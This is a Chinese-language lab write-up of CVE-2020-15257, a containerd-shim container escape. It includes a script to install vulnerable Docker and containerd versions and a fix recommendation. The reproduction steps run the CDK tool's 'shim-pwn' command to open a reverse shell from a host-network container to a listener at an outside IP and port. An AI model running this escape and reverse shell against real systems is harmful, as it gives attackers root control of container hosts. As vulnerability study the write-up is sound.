Containerd 漏洞导致容器逃逸 CVE-2020-15257¶
漏洞描述¶
Containerd 是一个控制 runC 的守护进程,提供命令行客户端和 API,用于在一个机器上管理容器。
在版本 1.3.9 之前和 1.4.0~1.4.2 的 Containerd 中,由于在网络模式为 host 的情况下,容器与宿主机共享一套 Network namespace ,此时 containerd-shim API 暴露给了用户,而且访问控制仅仅验证了连接进程的有效 UID 为 0,但没有限制对抽象 Unix 域套接字的访问,刚好在默认情况下,容器内部的进程是以 root 用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的 containerd 一样,连接 containerd-shim 监听的抽象 Unix 域套接字,调用 containerd-shim 提供的各种 API,从而实现容器逃逸。
参考链接:
- https://nvd.nist.gov/vuln/detail/CVE-2020-15257
- https://xz.aliyun.com/t/8681
- https://www.cdxy.me/?p=837
- https://github.com/Metarget/metarget
- https://github.com/cdk-team/CDK/issues/114
漏洞影响¶
containerd < 1.4.3
containerd < 1.3.9
环境搭建¶
ubuntu 18.04 使用以下脚本 install_containerd_1.2.6.sh
安装 Docker 19.03.6 和 Containerd.io 1.2.6:
#!/bin/bash
set -e
echo "[*] Removing old Docker versions (if any)..."
sudo apt remove -y docker docker-engine docker.io containerd runc || true
echo "[*] Unholding previously held Docker packages (if any)..."
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true
echo "[*] Removing incorrect Docker sources..."
sudo rm -f /etc/apt/sources.list.d/docker.list || true
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list
echo "[*] Adding Tsinghua University Docker mirror GPG key..."
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -
echo "[*] Adding Tsinghua University Docker mirror repository..."
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
| sudo tee /etc/apt/sources.list.d/docker.list
echo "[*] Updating package index..."
sudo apt update
echo "[*] Searching for Docker 19.03.6..."
DOCKER_VERSION=$(apt-cache madison docker-ce | grep 19.03.6 | head -n1 | awk '{print $3}')
if [ -z "$DOCKER_VERSION" ]; then
echo "[!] Docker 19.03.6 not found in repository."
exit 1
fi
echo "[*] Found Docker version: $DOCKER_VERSION"
echo "[*] Searching for containerd.io 1.2.6..."
CONTAINERD_VERSION=$(apt-cache madison containerd.io | grep 1.2.6 | head -n1 | awk '{print $3}')
if [ -z "$CONTAINERD_VERSION" ]; then
echo "[!] containerd.io 1.2.6 not found in repository."
exit 1
fi
echo "[*] Found containerd.io version: $CONTAINERD_VERSION"
echo "[*] Installing Docker version $DOCKER_VERSION and containerd.io $CONTAINERD_VERSION ..."
sudo apt install -y docker-ce=$DOCKER_VERSION docker-ce-cli=$DOCKER_VERSION
sudo apt install -y --allow-downgrades containerd.io=$CONTAINERD_VERSION
echo "[*] Locking versions to prevent automatic updates..."
sudo apt-mark hold docker-ce docker-ce-cli containerd.io
echo "[*] Installation complete, current versions:"
docker --version
containerd --version
漏洞复现¶
使用以下命令启动容器:
sudo docker run -it --net=host --name=15257 ubuntu /bin/bash
在容器内执行命令,查看是否可看到抽象命名空间 Unix 域套接字:
root@ubuntu:/# cat /proc/net/unix|grep -a "containerd-shim"
然后下载漏洞利用工具 CDK,并将其传入容器 /tmp
目录下:
sudo docker cp cdk_v0.1.6 15257:/tmp
攻击端监听 9999 端口。在容器内运行工具,执行反弹 shell 命令,验证得到一个宿主机的 shell:
sudo docker exec -it 15257 bash
-----
root@ubuntu:/# cd /tmp
root@ubuntu:/tmp# ./cdk_v0.1.6 run shim-pwn 192.168.145.23 9999
2025/05/26 07:27:19 tring to spawn shell to 192.168.145.23:9999
2025/05/26 07:27:19 try socket: @/containerd-shim/moby/662ca282f95fb460dee996c9456dc333c16a556cc3a10f2417f5f6cb87610751/shim.sock
成功接收反弹 shell:
注意,此处最好使用 cdk v0.1.6,如果使用最新版,将触发异常
connection refused
,可参考 issues/114:
漏洞修复¶
升级 containerd
至最新版本。